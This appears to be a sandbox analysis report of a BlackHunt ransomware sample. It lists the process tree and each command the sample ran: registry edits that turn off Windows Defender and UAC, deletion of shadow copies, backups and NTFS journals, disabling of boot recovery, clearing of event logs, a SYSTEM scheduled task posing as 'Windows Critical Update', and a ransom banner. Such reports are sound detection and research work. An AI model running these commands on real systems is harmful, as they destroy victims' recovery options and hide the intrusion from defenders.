PID 4636 wrote to memory of 2696	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	123
PID 4636 wrote to memory of 448	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	129
PID 4636 wrote to memory of 448	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	129
PID 4636 wrote to memory of 4280	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	131
PID 4636 wrote to memory of 4280	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	131
PID 4636 wrote to memory of 4108	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	153
PID 4636 wrote to memory of 4108	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	153
PID 4856 wrote to memory of 3680	4856	cmd.exe	152
PID 4856 wrote to memory of 3680	4856	cmd.exe	152
PID 4636 wrote to memory of 4340	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	147
PID 4636 wrote to memory of 4340	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	147
PID 4636 wrote to memory of 540	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	134
PID 4636 wrote to memory of 540	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	134
PID 4636 wrote to memory of 4140	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	136
PID 4636 wrote to memory of 4140	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	136
PID 2720 wrote to memory of 2616	2720	cmd.exe	146
PID 2720 wrote to memory of 2616	2720	cmd.exe	146
PID 1508 wrote to memory of 996	1508	cmd.exe	142
PID 1508 wrote to memory of 996	1508	cmd.exe	142
PID 4636 wrote to memory of 4404	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	138
PID 4636 wrote to memory of 4404	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	138

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
"C:\Users\Admin\AppData\Local\Temp\3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:4644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:5216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3220
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:5476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4404
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:5224
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:5276
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:7852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:5352
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:5444
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:7912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:5708
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:8660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5888
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:6024
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:6080
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:5544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe" /F
  2⤵
  PID:3404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:8356
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    PID:10660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:7872
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    PID:7968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:6604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    PID:7936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:6876
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:8252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:11612
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:12432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:9812
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:6288
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe"
  2⤵
  PID:5624
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:6204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1180
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:10196
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10196 -s 836
      4⤵
      Program crash
      PID:10064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:6100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:5492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:10420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:11176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:13208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:13132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:8752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:8940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:10412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:10152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:13420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:10612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:8320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:5220

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:996

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:1396

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:5240

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6008

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:6096

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:5996

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe" /F
1⤵
- Creates scheduled task(s)
PID:5972

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:9460

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:8784

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:9792

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
PID:11600

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
PID:11268

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:10276

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:11116

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:5308

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:8348

C:\Windows\system32\taskkill.exe
taskkill /IM mshta.exe /f
1⤵
- Kills process with taskkill
PID:12424

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:12540

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:9832

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:6936

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
1⤵
PID:7244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 10196 -ip 10196
1⤵
